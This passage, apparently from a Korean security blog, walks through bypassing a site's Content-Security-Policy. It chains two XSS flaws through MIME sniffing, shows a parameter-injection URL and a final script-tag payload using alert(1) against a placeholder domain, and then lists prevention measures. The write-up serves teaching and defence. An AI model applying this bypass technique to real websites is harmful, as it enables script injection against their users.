HTTPํ—ค๋” ํŠนํžˆ Content-Security-Policy๋ฅผ ์‚ดํŽด๋ณด๋ฉด CSP์— ์›น์‚ฌ์ดํŠธ ์ž์ฒด์™€ ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํ•˜์œ„ ๋„๋ฉ”์ธ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๊ทœ์น™์ด ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.์ฆ‰, ์šฐ๋ฆฌ์˜ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š”๊ฒŒ ์ œํ•œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

2. ๋‹ค๋ฅธ endpoint์—์„œ XSS ์ทจ์•ฝ์  ์ฐพ๊ธฐ

csp์— ๋ง‰ํ˜€ ์šฐํšŒํ•  ์ˆ˜ ์—†์„๋•Œ ๋‹ค๋ฅธ xss ๋ฅผ ์ฐพ๊ธฐ ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค. index ํŽ˜์ด์ง€์˜ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณผ๋•Œ ํฅ๋ฏธ๋กœ์šด ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๊ฐ€์ง„ php์˜ ํŽ˜์ด์ง€๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

csp_xss7

ํ•ด๋‹น phpํŒŒ์ผ์˜ ํŒŒ๋ผ๋ฏธํ„ฐ์— ๊ฐ’๋Œ€์‹ ์— ๊ฐ„๋‹จํ•œ string ๊ฐ’์„ ๋„ฃ๊ณ  ํ™•์ธ ์‹œ ์ž…๋ ฅ๊ฐ’์ด ์†Œ์Šค์ฝ”๋“œ์— ๋“ค์–ด๊ฐ€๋Š” ๊ฒƒ์„ ํ™•์ธ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

csp_xss8

๊ฐ„๋‹จํ•œ ๋ฌธ์ž์—ด์„ ์ž…๋ ฅํ•˜๋Š” ๋Œ€์‹  js ์ฝ”๋“œ์— ์•…์„ฑ ์ฝ”๋“œ์ธ alert(1); ์ž…๋ ฅ์‹œ ๋’ค์˜ ๋‚จ์€ ์ฝ”๋“œ *1000).getTime(); ์€ // ์ฃผ์„ ์ฒ˜๋ฆฌ๋กœ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์”๋‹ˆ๋‹ค.

Full URL:
http://website.com/js/countdown.php?end=2534926825);alert(1);//

ํ•˜์ง€๋งŒ ํ•ด๋‹น URL๋กœ ์ด๋™์‹œ XSS๊ฐ€ ์—ญ์‹œ CSP์— ์ฐจ๋‹จ๋˜์–ด ํ„ฐ์ง€์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค.

3. MIME ์Šคํ”ผ๋‹์„ ์‚ฌ์šฉํ•˜์—ฌ 2๊ฐœ์˜ XSS๋กœ CSP ์šฐํšŒ

MIME ์Šคํ”ผ๋‹์„ ํ™œ์šฉํ•˜์—ฌ XSS ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ผ๋ฉด ํŠน์ • ์กฐ๊ฑด์ด ํ™œ์šฉ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

1. ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ JS ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋„๋ก ์„œ๋ฒ„ ์‘๋‹ต์˜ ์ฝ˜ํ…์ธ ๋ฅผ ์ œ์–ดํ• ์ˆ˜ ์žˆ์–ด์•ผํ•œ๋‹ค.(๋‘๋ฒˆ์งธ ๋ฐœ๊ฒฌํ•œ XSS)
2. ๊ณต๊ฒฉ์ž๋Š” HTML ์ฃผ์ž… ๋˜๋Š” JS์ฃผ์ž…(์ฒซ๋ฒˆ์งธ ๋ฐœ๊ฒฌํ•œ XSS)์„ ํ†ตํ•ด ์‹คํ–‰๊ฐ€๋Šฅํ•œ context๋ฅผ ๋„์ž…ํ•  ์ˆ˜ ์žˆ์–ด์•ผํ•œ๋‹ค.

์ฒซ๋ฒˆ์งธ ์ฐพ์€ ํŽ˜์ด๋กœ๋“œ์™€ ๋‘๋ฒˆ์งธ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ•ฉ์ณ์ค€ ์ตœ์ข… ํŽ˜์ด๋กœ๋“œ

<script src=โ€™http://website.com/js/countdown.php?end=2534926825);alert(1);//></script>

csp_xss9



๐Ÿ‘€ How to Prevent ?

  • HTML ํƒœ๊ทธ ์‚ฌ์šฉ์ด ๋ถˆํ•„์š”ํ•œ ๊ฒฝ์šฐ
    ->๋ชจ๋“  HTML ํƒœ๊ทธ ์‚ฌ์šฉ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋„๋ก Server-Side๋กœ ํ•„ํ„ฐ๋ง ์ ์šฉ ๋˜๋Š” JavaScript์—์„œ ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ํŠน์ˆ˜๋ฌธ์ž์— ๋Œ€ํ•ด ์น˜ํ™˜
๋ณ€๊ฒฝ์ „ < > ( ) # & โ€™ โ€
๋ณ€๊ฒฝํ›„ < > ( ) # & ' "
  • HTML ํƒœ๊ทธ ์‚ฌ์šฉ์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ
    -> ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•˜๋Š” ๊ฐ’์— ๋Œ€ํ•œ ๊ฒ€์ฆ ๋กœ์ง์„ Server-Side ๊ตฌํ˜„
    -> ์‚ฌ์šฉ์ด ํ•„์š”ํ•œ ํƒœ๊ทธ ๋ฆฌ์ŠคํŠธ๋ฅผ ์ •์˜ํ•˜๊ณ  ํ•ด๋‹น ๋ฆฌ์ŠคํŠธ๋งŒ ํ—ˆ์šฉํ•˜๋„๋ก White-list ๋ฐฉ์‹์œผ๋กœ ํ—ˆ์šฉ
    -> ์ •์ƒ์ ์ธ Request์™€ ๋น„์ •์ƒ์ ์ธ Request๋ฅผ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ๋„๋ก Form / URL ์—์„œ ์ž„์˜์˜ ํ† ํฐ์„ ์ถ”๊ฐ€ํ•˜๊ณ  ์ด ํ† ํฐ์„ ๊ฒ€์ฆํ•˜๋„๋ก ๊ตฌํ˜„
    -> HTML Editor ์‚ฌ์šฉ์œผ๋กœ ์ธํ•œ ์ƒ๊ธฐ ์‚ฌํ•ญ ์กฐ์น˜ ๋ถˆ๊ฐ€ ์‹œ, Server-Side/Servlet/DAO(Data Access Object)์˜์—ญ์—์„œ ์กฐ์น˜ํ•˜๋„๋ก ์„ค๊ณ„
    -> ์„œ๋ฒ„์—์„œ X-XSS-Protection ์‘๋‹ต ํ—ค๋”๋ฅผ ์„ค์ •ํ•˜์—ฌ ์‚ฌ์šฉ์ž ๋ธŒ๋ผ์šฐ์ €์˜ XSS ๋ณดํ˜ธ ์˜ต์…˜์„ ์„ค์ •
    -> HTTPOnly ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ์ œํ•œ
    -> CSP(Content Security Policy)๋ฅผ ์„ ์–ธํ•˜์—ฌ ์›น ์‚ฌ์ดํŠธ์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค์˜ ์ถœ์ฒ˜ ์ œํ•œ

๐Ÿ“ƒ References